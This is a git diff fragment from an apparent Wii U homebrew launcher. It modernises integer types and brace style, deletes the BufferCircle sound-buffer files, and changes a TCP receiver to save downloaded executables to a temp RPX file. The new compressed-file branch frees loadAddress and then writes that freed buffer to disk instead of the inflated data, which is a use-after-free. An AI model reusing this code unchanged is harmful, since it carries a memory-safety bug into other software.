void ProgressWindow::draw(CVideo * v) {
|
||||
if(titleChanged) {
|
||||
titleMutex.lock();
|
||||
titleChanged = false;
|
||||
titleText.setText(currentTitle.c_str());
|
||||
|
@ -19,13 +19,12 @@
|
||||
|
||||
#include "gui/Gui.h"
|
||||
|
||||
class ProgressWindow : public GuiFrame, public sigslot::has_slots<>
|
||||
{
|
||||
class ProgressWindow : public GuiFrame, public sigslot::has_slots<> {
|
||||
public:
|
||||
ProgressWindow(const std::string & titleText);
|
||||
virtual ~ProgressWindow();
|
||||
|
||||
void setProgress(f32 percent);
|
||||
void setProgress(float percent);
|
||||
void setTitle(const std::string & title);
|
||||
private:
|
||||
void draw(CVideo * v);
|
||||
|
@ -5,11 +5,12 @@
|
||||
#include <nsysnet/socket.h>
|
||||
|
||||
#include "TcpReceiver.h"
|
||||
#include "HomebrewMemory.h"
|
||||
#include "fs/CFile.hpp"
|
||||
#include "fs/FSUtils.h"
|
||||
#include "utils/logger.h"
|
||||
#include "utils/StringTools.h"
|
||||
#include "utils/net.h"
|
||||
#include "common/common.h"
|
||||
|
||||
TcpReceiver::TcpReceiver(int port)
|
||||
: GuiFrame(0, 0)
|
||||
@ -17,67 +18,58 @@ TcpReceiver::TcpReceiver(int port)
|
||||
, exitRequested(false)
|
||||
, serverPort(port)
|
||||
, serverSocket(-1)
|
||||
, progressWindow("Receiving file...")
|
||||
{
|
||||
, progressWindow("Receiving file...") {
|
||||
width = progressWindow.getWidth();
|
||||
height = progressWindow.getHeight();
|
||||
append(&progressWindow);
|
||||
resumeThread();
|
||||
}
|
||||
|
||||
TcpReceiver::~TcpReceiver()
|
||||
{
|
||||
TcpReceiver::~TcpReceiver() {
|
||||
exitRequested = true;
|
||||
|
||||
if(serverSocket >= 0)
|
||||
{
|
||||
if(serverSocket >= 0) {
|
||||
shutdown(serverSocket, SHUT_RDWR);
|
||||
}
|
||||
}
|
||||
|
||||
void TcpReceiver::executeThread()
|
||||
{
|
||||
serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (serverSocket < 0)
|
||||
{
|
||||
log_printf("Server socket create failed\n");
|
||||
return;
|
||||
}
|
||||
void TcpReceiver::executeThread() {
|
||||
serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (serverSocket < 0) {
|
||||
log_printf("Server socket create failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
u32 enable = 1;
|
||||
setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable));
|
||||
uint32_t enable = 1;
|
||||
setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable));
|
||||
|
||||
struct sockaddr_in bindAddress;
|
||||
memset(&bindAddress, 0, sizeof(bindAddress));
|
||||
bindAddress.sin_family = AF_INET;
|
||||
bindAddress.sin_port = serverPort;
|
||||
bindAddress.sin_addr.s_addr = INADDR_ANY;
|
||||
struct sockaddr_in bindAddress;
|
||||
memset(&bindAddress, 0, sizeof(bindAddress));
|
||||
bindAddress.sin_family = AF_INET;
|
||||
bindAddress.sin_port = serverPort;
|
||||
bindAddress.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
s32 ret;
|
||||
if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0)
|
||||
{
|
||||
log_printf("Server socket bind failed\n");
|
||||
socketclose(serverSocket);
|
||||
return;
|
||||
}
|
||||
int32_t ret;
|
||||
if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) {
|
||||
log_printf("Server socket bind failed\n");
|
||||
socketclose(serverSocket);
|
||||
return;
|
||||
}
|
||||
|
||||
if ((ret = listen(serverSocket, 1)) < 0)
|
||||
{
|
||||
log_printf("Server socket listen failed\n");
|
||||
socketclose(serverSocket);
|
||||
return;
|
||||
}
|
||||
if ((ret = listen(serverSocket, 1)) < 0) {
|
||||
log_printf("Server socket listen failed\n");
|
||||
socketclose(serverSocket);
|
||||
return;
|
||||
}
|
||||
|
||||
struct sockaddr_in clientAddr;
|
||||
memset(&clientAddr, 0, sizeof(clientAddr));
|
||||
socklen_t addrlen = sizeof(clientAddr);
|
||||
struct sockaddr_in clientAddr;
|
||||
memset(&clientAddr, 0, sizeof(clientAddr));
|
||||
socklen_t addrlen = sizeof(clientAddr);
|
||||
|
||||
while(!exitRequested)
|
||||
{
|
||||
s32 clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen);
|
||||
if(clientSocket >= 0)
|
||||
{
|
||||
u32 ipAddress = clientAddr.sin_addr.s_addr;
|
||||
while(!exitRequested) {
|
||||
int32_t clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen);
|
||||
if(clientSocket >= 0) {
|
||||
uint32_t ipAddress = clientAddr.sin_addr.s_addr;
|
||||
serverReceiveStart(this, ipAddress);
|
||||
int result = loadToMemory(clientSocket, ipAddress);
|
||||
serverReceiveFinished(this, ipAddress, result);
|
||||
@ -85,10 +77,8 @@ void TcpReceiver::executeThread()
|
||||
|
||||
if(result > 0)
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
log_printf("Server socket accept failed %i\n", clientSocket);
|
||||
} else {
|
||||
log_printf("Server socket accept failed %i\n", clientSocket);
|
||||
usleep(100000);
|
||||
}
|
||||
}
|
||||
@ -96,50 +86,45 @@ void TcpReceiver::executeThread()
|
||||
socketclose(serverSocket);
|
||||
}
|
||||
|
||||
int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
{
|
||||
int TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) {
|
||||
log_printf("Loading file from ip %08X\n", ipAddress);
|
||||
|
||||
u32 fileSize = 0;
|
||||
u32 fileSizeUnc = 0;
|
||||
uint32_t fileSize = 0;
|
||||
uint32_t fileSizeUnc = 0;
|
||||
unsigned char haxx[8];
|
||||
memset(haxx, 0, sizeof(haxx));
|
||||
//skip haxx
|
||||
recvwait(clientSocket, haxx, sizeof(haxx));
|
||||
recvwait(clientSocket, (unsigned char*)&fileSize, sizeof(fileSize));
|
||||
|
||||
if (haxx[4] > 0 || haxx[5] > 4)
|
||||
{
|
||||
if (haxx[4] > 0 || haxx[5] > 4) {
|
||||
recvwait(clientSocket, (unsigned char*)&fileSizeUnc, sizeof(fileSizeUnc)); // Compressed protocol, read another 4 bytes
|
||||
}
|
||||
|
||||
u32 bytesRead = 0;
|
||||
uint32_t bytesRead = 0;
|
||||
struct in_addr in;
|
||||
in.s_addr = ipAddress;
|
||||
progressWindow.setTitle(strfmt("Loading file from %s", inet_ntoa(in)));
|
||||
progressWindow.setTitle(StringTools::strfmt("Loading file from %s", inet_ntoa(in)));
|
||||
|
||||
log_printf("transfer start\n");
|
||||
|
||||
unsigned char* loadAddress = (unsigned char*)memalign(0x40, fileSize);
|
||||
if(!loadAddress)
|
||||
{
|
||||
if(!loadAddress) {
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
sleep(1);
|
||||
return NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
// Copy rpl in memory
|
||||
while(bytesRead < fileSize)
|
||||
{
|
||||
progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize);
|
||||
while(bytesRead < fileSize) {
|
||||
progressWindow.setProgress(100.0f * (float)bytesRead / (float)fileSize);
|
||||
|
||||
u32 blockSize = 0x1000;
|
||||
uint32_t blockSize = 0x1000;
|
||||
if(blockSize > (fileSize - bytesRead))
|
||||
blockSize = fileSize - bytesRead;
|
||||
|
||||
int ret = recv(clientSocket, loadAddress + bytesRead, blockSize, 0);
|
||||
if(ret <= 0)
|
||||
{
|
||||
if(ret <= 0) {
|
||||
log_printf("Failure on reading file\n");
|
||||
break;
|
||||
}
|
||||
@ -147,10 +132,9 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
bytesRead += ret;
|
||||
}
|
||||
|
||||
progressWindow.setProgress((f32)bytesRead / (f32)fileSize);
|
||||
progressWindow.setProgress((float)bytesRead / (float)fileSize);
|
||||
|
||||
if(bytesRead != fileSize)
|
||||
{
|
||||
if(bytesRead != fileSize) {
|
||||
free(loadAddress);
|
||||
log_printf("File loading not finished, %i of %i bytes received\n", bytesRead, fileSize);
|
||||
progressWindow.setTitle("Receive incomplete");
|
||||
@ -160,21 +144,18 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
|
||||
int res = -1;
|
||||
|
||||
// Do we need to unzip this thing?
|
||||
if (haxx[4] > 0 || haxx[5] > 4)
|
||||
{
|
||||
// Do we need to unzip this thing?
|
||||
if (haxx[4] > 0 || haxx[5] > 4) {
|
||||
unsigned char* inflatedData = NULL;
|
||||
|
||||
// We need to unzip...
|
||||
if (loadAddress[0] == 'P' && loadAddress[1] == 'K' && loadAddress[2] == 0x03 && loadAddress[3] == 0x04)
|
||||
{
|
||||
//! TODO:
|
||||
//! mhmm this is incorrect, it has to parse the zip
|
||||
// We need to unzip...
|
||||
if (loadAddress[0] == 'P' && loadAddress[1] == 'K' && loadAddress[2] == 0x03 && loadAddress[3] == 0x04) {
|
||||
//! TODO:
|
||||
//! mhmm this is incorrect, it has to parse the zip
|
||||
|
||||
// Section is compressed, inflate
|
||||
inflatedData = (unsigned char*)malloc(fileSizeUnc);
|
||||
if(!inflatedData)
|
||||
{
|
||||
if(!inflatedData) {
|
||||
free(loadAddress);
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
sleep(1);
|
||||
@ -190,8 +171,7 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
s.opaque = Z_NULL;
|
||||
|
||||
ret = inflateInit(&s);
|
||||
if (ret != Z_OK)
|
||||
{
|
||||
if (ret != Z_OK) {
|
||||
free(loadAddress);
|
||||
free(inflatedData);
|
||||
progressWindow.setTitle("Uncompress failure");
|
||||
@ -206,8 +186,7 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
s.next_out = (Bytef *)&inflatedData[0];
|
||||
|
||||
ret = inflate(&s, Z_FINISH);
|
||||
if (ret != Z_OK && ret != Z_STREAM_END)
|
||||
{
|
||||
if (ret != Z_OK && ret != Z_STREAM_END) {
|
||||
free(loadAddress);
|
||||
free(inflatedData);
|
||||
progressWindow.setTitle("Uncompress failure");
|
||||
@ -217,51 +196,53 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress)
|
||||
|
||||
inflateEnd(&s);
|
||||
fileSize = fileSizeUnc;
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
// Section is compressed, inflate
|
||||
inflatedData = (unsigned char*)malloc(fileSizeUnc);
|
||||
if(!inflatedData)
|
||||
{
|
||||
if(!inflatedData) {
|
||||
free(loadAddress);
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
sleep(1);
|
||||
return NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
uLongf f = fileSizeUnc;
|
||||
int result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize);
|
||||
if(result != Z_OK)
|
||||
{
|
||||
uLongf f = fileSizeUnc;
|
||||
int result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize);
|
||||
if(result != Z_OK) {
|
||||
log_printf("uncompress failed %i\n", result);
|
||||
progressWindow.setTitle("Uncompress failure");
|
||||
sleep(1);
|
||||
return FILE_READ_ERROR;
|
||||
}
|
||||
|
||||
fileSizeUnc = f;
|
||||
fileSizeUnc = f;
|
||||
fileSize = fileSizeUnc;
|
||||
}
|
||||
|
||||
free(loadAddress);
|
||||
|
||||
HomebrewInitMemory();
|
||||
res = HomebrewCopyMemory(inflatedData, fileSize);
|
||||
FSUtils::CreateSubfolder(HBL_TEMP_RPX_PATH);
|
||||
if(!FSUtils::saveBufferToFile(HBL_TEMP_RPX_FILE, loadAddress, fileSize)) {
|
||||
res = FILE_SAVE_ERROR;
|
||||
} else {
|
||||
res = 1;
|
||||
}
|
||||
|
||||
free(inflatedData);
|
||||
}
|
||||
else
|
||||
{
|
||||
HomebrewInitMemory();
|
||||
res = HomebrewCopyMemory(loadAddress, fileSize);
|
||||
} else {
|
||||
FSUtils::CreateSubfolder(HBL_TEMP_RPX_PATH);
|
||||
if(!FSUtils::saveBufferToFile(HBL_TEMP_RPX_FILE, loadAddress, fileSize)) {
|
||||
res = FILE_SAVE_ERROR;
|
||||
} else {
|
||||
res = 1;
|
||||
}
|
||||
free(loadAddress);
|
||||
}
|
||||
|
||||
if(res < 0)
|
||||
{
|
||||
progressWindow.setTitle("Not enough memory");
|
||||
if(res < 0) {
|
||||
progressWindow.setTitle("Failed");
|
||||
sleep(1);
|
||||
return NOT_ENOUGH_MEMORY;
|
||||
return res;
|
||||
}
|
||||
|
||||
return fileSize;
|
||||
|
@ -8,32 +8,31 @@
|
||||
#include "system/CThread.h"
|
||||
#include "gui/sigslot.h"
|
||||
|
||||
class TcpReceiver : public GuiFrame, public CThread
|
||||
{
|
||||
class TcpReceiver : public GuiFrame, public CThread {
|
||||
public:
|
||||
enum eLoadResults
|
||||
{
|
||||
enum eLoadResults {
|
||||
SUCCESS = 0,
|
||||
INVALID_INPUT = -1,
|
||||
FILE_OPEN_FAILURE = -2,
|
||||
FILE_READ_ERROR = -3,
|
||||
NOT_ENOUGH_MEMORY = -4,
|
||||
FILE_SAVE_ERROR = -5,
|
||||
};
|
||||
|
||||
TcpReceiver(int port);
|
||||
~TcpReceiver();
|
||||
|
||||
sigslot::signal2<GuiElement *, u32> serverReceiveStart;
|
||||
sigslot::signal3<GuiElement *, u32, int> serverReceiveFinished;
|
||||
sigslot::signal2<GuiElement *, uint32_t> serverReceiveStart;
|
||||
sigslot::signal3<GuiElement *, uint32_t, int> serverReceiveFinished;
|
||||
|
||||
private:
|
||||
|
||||
void executeThread();
|
||||
int loadToMemory(s32 clientSocket, u32 ipAddress);
|
||||
int loadToMemory(int32_t clientSocket, uint32_t ipAddress);
|
||||
|
||||
bool exitRequested;
|
||||
s32 serverPort;
|
||||
s32 serverSocket;
|
||||
int32_t serverPort;
|
||||
int32_t serverSocket;
|
||||
ProgressWindow progressWindow;
|
||||
};
|
||||
|
||||
|
@ -3,104 +3,89 @@
|
||||
#include "Resources.h"
|
||||
#include "filelist.h"
|
||||
#include "system/AsyncDeleter.h"
|
||||
#include "fs/fs_utils.h"
|
||||
#include "fs/FSUtils.h"
|
||||
#include "gui/GuiImageAsync.h"
|
||||
#include "gui/GuiSound.h"
|
||||
|
||||
Resources * Resources::instance = NULL;
|
||||
|
||||
void Resources::Clear()
|
||||
{
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
if(RecourceList[i].CustomFile)
|
||||
{
|
||||
free(RecourceList[i].CustomFile);
|
||||
RecourceList[i].CustomFile = NULL;
|
||||
}
|
||||
void Resources::Clear() {
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
if(RecourceList[i].CustomFile) {
|
||||
free(RecourceList[i].CustomFile);
|
||||
RecourceList[i].CustomFile = NULL;
|
||||
}
|
||||
|
||||
if(RecourceList[i].CustomFileSize != 0)
|
||||
RecourceList[i].CustomFileSize = 0;
|
||||
}
|
||||
if(RecourceList[i].CustomFileSize != 0)
|
||||
RecourceList[i].CustomFileSize = 0;
|
||||
}
|
||||
|
||||
if(instance)
|
||||
if(instance)
|
||||
delete instance;
|
||||
|
||||
instance = NULL;
|
||||
}
|
||||
|
||||
bool Resources::LoadFiles(const char * path)
|
||||
{
|
||||
if(!path)
|
||||
return false;
|
||||
bool Resources::LoadFiles(const char * path) {
|
||||
if(!path)
|
||||
return false;
|
||||
|
||||
bool result = false;
|
||||
Clear();
|
||||
bool result = false;
|
||||
Clear();
|
||||
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
std::string fullpath(path);
|
||||
fullpath += "/";
|
||||
fullpath += RecourceList[i].filename;
|
||||
|
||||
u8 * buffer = NULL;
|
||||
u32 filesize = 0;
|
||||
uint8_t * buffer = NULL;
|
||||
uint32_t filesize = 0;
|
||||
|
||||
LoadFileToMem(fullpath.c_str(), &buffer, &filesize);
|
||||
FSUtils::LoadFileToMem(fullpath.c_str(), &buffer, &filesize);
|
||||
|
||||
RecourceList[i].CustomFile = buffer;
|
||||
RecourceList[i].CustomFileSize = (u32) filesize;
|
||||
RecourceList[i].CustomFileSize = (uint32_t) filesize;
|
||||
result |= (buffer != 0);
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
const u8 * Resources::GetFile(const char * filename)
|
||||
{
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0)
|
||||
{
|
||||
return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile);
|
||||
}
|
||||
}
|
||||
const uint8_t * Resources::GetFile(const char * filename) {
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0) {
|
||||
return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile);
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
u32 Resources::GetFileSize(const char * filename)
|
||||
{
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0)
|
||||
{
|
||||
return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
uint32_t Resources::GetFileSize(const char * filename) {
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0) {
|
||||
return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
GuiImageData * Resources::GetImageData(const char * filename)
|
||||
{
|
||||
GuiImageData * Resources::GetImageData(const char * filename) {
|
||||
if(!instance)
|
||||
instance = new Resources;
|
||||
|
||||
std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr = instance->imageDataMap.find(std::string(filename));
|
||||
if(itr != instance->imageDataMap.end())
|
||||
{
|
||||
if(itr != instance->imageDataMap.end()) {
|
||||
itr->second.first++;
|
||||
return itr->second.second;
|
||||
}
|
||||
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0)
|
||||
{
|
||||
const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
|
||||
const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0) {
|
||||
const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
|
||||
const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
|
||||
|
||||
if(buff == NULL)
|
||||
if(buff == NULL)
|
||||
return NULL;
|
||||
|
||||
GuiImageData * image = new GuiImageData(buff, size);
|
||||
@ -108,24 +93,20 @@ GuiImageData * Resources::GetImageData(const char * filename)
|
||||
instance->imageDataMap[std::string(filename)].second = image;
|
||||
|
||||
return image;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void Resources::RemoveImageData(GuiImageData * image)
|
||||
{
|
||||
void Resources::RemoveImageData(GuiImageData * image) {
|
||||
std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr;
|
||||
|
||||
for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++)
|
||||
{
|
||||
if(itr->second.second == image)
|
||||
{
|
||||
for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++) {
|
||||
if(itr->second.second == image) {
|
||||
itr->second.first--;
|
||||
|
||||
if(itr->second.first == 0)
|
||||
{
|
||||
if(itr->second.first == 0) {
|
||||
AsyncDeleter::pushForDelete( itr->second.second );
|
||||
instance->imageDataMap.erase(itr);
|
||||
}
|
||||
@ -134,26 +115,22 @@ void Resources::RemoveImageData(GuiImageData * image)
|
||||
}
|
||||
}
|
||||
|
||||
GuiSound * Resources::GetSound(const char * filename)
|
||||
{
|
||||
GuiSound * Resources::GetSound(const char * filename) {
|
||||
if(!instance)
|
||||
instance = new Resources;
|
||||
|
||||
std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr = instance->soundDataMap.find(std::string(filename));
|
||||
if(itr != instance->soundDataMap.end())
|
||||
{
|
||||
if(itr != instance->soundDataMap.end()) {
|
||||
itr->second.first++;
|
||||
return itr->second.second;
|
||||
}
|
||||
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i)
|
||||
{
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0)
|
||||
{
|
||||
const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
|
||||
const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
|
||||
for(int i = 0; RecourceList[i].filename != NULL; ++i) {
|
||||
if(strcasecmp(filename, RecourceList[i].filename) == 0) {
|
||||
const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
|
||||
const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
|
||||
|
||||
if(buff == NULL)
|
||||
if(buff == NULL)
|
||||
return NULL;
|
||||
|
||||
GuiSound * sound = new GuiSound(buff, size);
|
||||
@ -161,24 +138,20 @@ GuiSound * Resources::GetSound(const char * filename)
|
||||
instance->soundDataMap[std::string(filename)].second = sound;
|
||||
|
||||
return sound;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void Resources::RemoveSound(GuiSound * sound)
|
||||
{
|
||||
void Resources::RemoveSound(GuiSound * sound) {
|
||||
std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr;
|
||||
|
||||
for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++)
|
||||
{
|
||||
if(itr->second.second == sound)
|
||||
{
|
||||
for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++) {
|
||||
if(itr->second.second == sound) {
|
||||
itr->second.first--;
|
||||
|
||||
if(itr->second.first == 0)
|
||||
{
|
||||
if(itr->second.first == 0) {
|
||||
AsyncDeleter::pushForDelete( itr->second.second );
|
||||
instance->soundDataMap.erase(itr);
|
||||
}
|
||||
|
@ -2,19 +2,18 @@
|
||||
#define RECOURCES_H_
|
||||
|
||||
#include <map>
|
||||
#include "common/types.h"
|
||||
#include <stdint.h>
|
||||
|
||||
//! forward declaration
|
||||
class GuiImageData;
|
||||
class GuiSound;
|
||||
|
||||
class Resources
|
||||
{
|
||||
class Resources {
|
||||
public:
|
||||
static void Clear();
|
||||
static bool LoadFiles(const char * path);
|
||||
static const u8 * GetFile(const char * filename);
|
||||
static u32 GetFileSize(const char * filename);
|
||||
static const uint8_t * GetFile(const char * filename);
|
||||
static uint32_t GetFileSize(const char * filename);
|
||||
|
||||
static GuiImageData * GetImageData(const char * filename);
|
||||
static void RemoveImageData(GuiImageData * image);
|
||||
|
@ -1,143 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <unistd.h>
|
||||
#include <malloc.h>
|
||||
#include "utils/utils.h"
|
||||
#include "BufferCircle.hpp"
|
||||
|
||||
BufferCircle::BufferCircle()
|
||||
{
|
||||
which = 0;
|
||||
BufferBlockSize = 0;
|
||||
}
|
||||
|
||||
BufferCircle::~BufferCircle()
|
||||
{
|
||||
FreeBuffer();
|
||||
SoundBuffer.clear();
|
||||
BufferSize.clear();
|
||||
BufferReady.clear();
|
||||
}
|
||||
|
||||
void BufferCircle::SetBufferBlockSize(int size)
|
||||
{
|
||||
if(size < 0)
|
||||
return;
|
||||
|
||||
BufferBlockSize = size;
|
||||
|
||||
for(int i = 0; i < Size(); i++)
|
||||
{
|
||||
if(SoundBuffer[i] != NULL)
|
||||
free(SoundBuffer[i]);
|
||||
|
||||
SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize));
|
||||
BufferSize[i] = 0;
|
||||
BufferReady[i] = false;
|
||||
}
|
||||
}
|
||||
|
||||
void BufferCircle::Resize(int size)
|
||||
{
|
||||
while(size < Size())
|
||||
RemoveBuffer(Size()-1);
|
||||
|
||||
int oldSize = Size();
|
||||
|
||||
SoundBuffer.resize(size);
|
||||
BufferSize.resize(size);
|
||||
BufferReady.resize(size);
|
||||
|
||||
for(int i = oldSize; i < Size(); i++)
|
||||
{
|
||||
if(BufferBlockSize > 0)
|
||||
SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize));
|
||||
else
|
||||
SoundBuffer[i] = NULL;
|
||||
BufferSize[i] = 0;
|
||||
BufferReady[i] = false;
|
||||
}
|
||||
}
|
||||
|
||||
void BufferCircle::RemoveBuffer(int pos)
|
||||
{
|
||||
if(!Valid(pos))
|
||||
return;
|
||||
|
||||
if(SoundBuffer[pos] != NULL)
|
||||
free(SoundBuffer[pos]);
|
||||
|
||||
SoundBuffer.erase(SoundBuffer.begin()+pos);
|
||||
BufferSize.erase(BufferSize.begin()+pos);
|
||||
BufferReady.erase(BufferReady.begin()+pos);
|
||||
}
|
||||
|
||||
void BufferCircle::ClearBuffer()
|
||||
{
|
||||
for(int i = 0; i < Size(); i++)
|
||||
{
|
||||
BufferSize[i] = 0;
|
||||
BufferReady[i] = false;
|
||||
}
|
||||
which = 0;
|
||||
}
|
||||
|
||||
void BufferCircle::FreeBuffer()
|
||||
{
|
||||
for(int i = 0; i < Size(); i++)
|
||||
{
|
||||
if(SoundBuffer[i] != NULL)
|
||||
free(SoundBuffer[i]);
|
||||
|
||||
SoundBuffer[i] = NULL;
|
||||
BufferSize[i] = 0;
|
||||
BufferReady[i] = false;
|
||||
}
|
||||
}
|
||||
|
||||
void BufferCircle::LoadNext()
|
||||
{
|
||||
BufferReady[which] = false;
|
||||
BufferSize[which] = 0;
|
||||
|
||||
which = Next();
|
||||
}
|
||||
|
||||
void BufferCircle::SetBufferReady(int pos, bool state)
|
||||
{
|
||||
if(!Valid(pos))
|
||||
return;
|
||||
|
||||
BufferReady[pos] = state;
|
||||
}
|
||||
|
||||
void BufferCircle::SetBufferSize(int pos, int size)
|
||||
{
|
||||
if(!Valid(pos))
|
||||
return;
|
||||
|
||||
BufferSize[pos] = size;
|
||||
}
|
@ -1,86 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#ifndef BUFFER_CIRCLE_HPP_
|
||||
#define BUFFER_CIRCLE_HPP_
|
||||
|
||||
#include <vector>
|
||||
#include "common/types.h"
|
||||
|
||||
class BufferCircle
|
||||
{
|
||||
public:
|
||||
//!> Constructor
|
||||
BufferCircle();
|
||||
//!> Destructor
|
||||
~BufferCircle();
|
||||
//!> Set circle size
|
||||
void Resize(int size);
|
||||
//!> Get the circle size
|
||||
int Size() { return SoundBuffer.size(); };
|
||||
//!> Set/resize the buffer size
|
||||
void SetBufferBlockSize(int size);
|
||||
//!> Remove a buffer
|
||||
void RemoveBuffer(int pos);
|
||||
//!> Set all buffers clear
|
||||
void ClearBuffer();
|
||||
//!> Free all buffers
|
||||
void FreeBuffer();
|
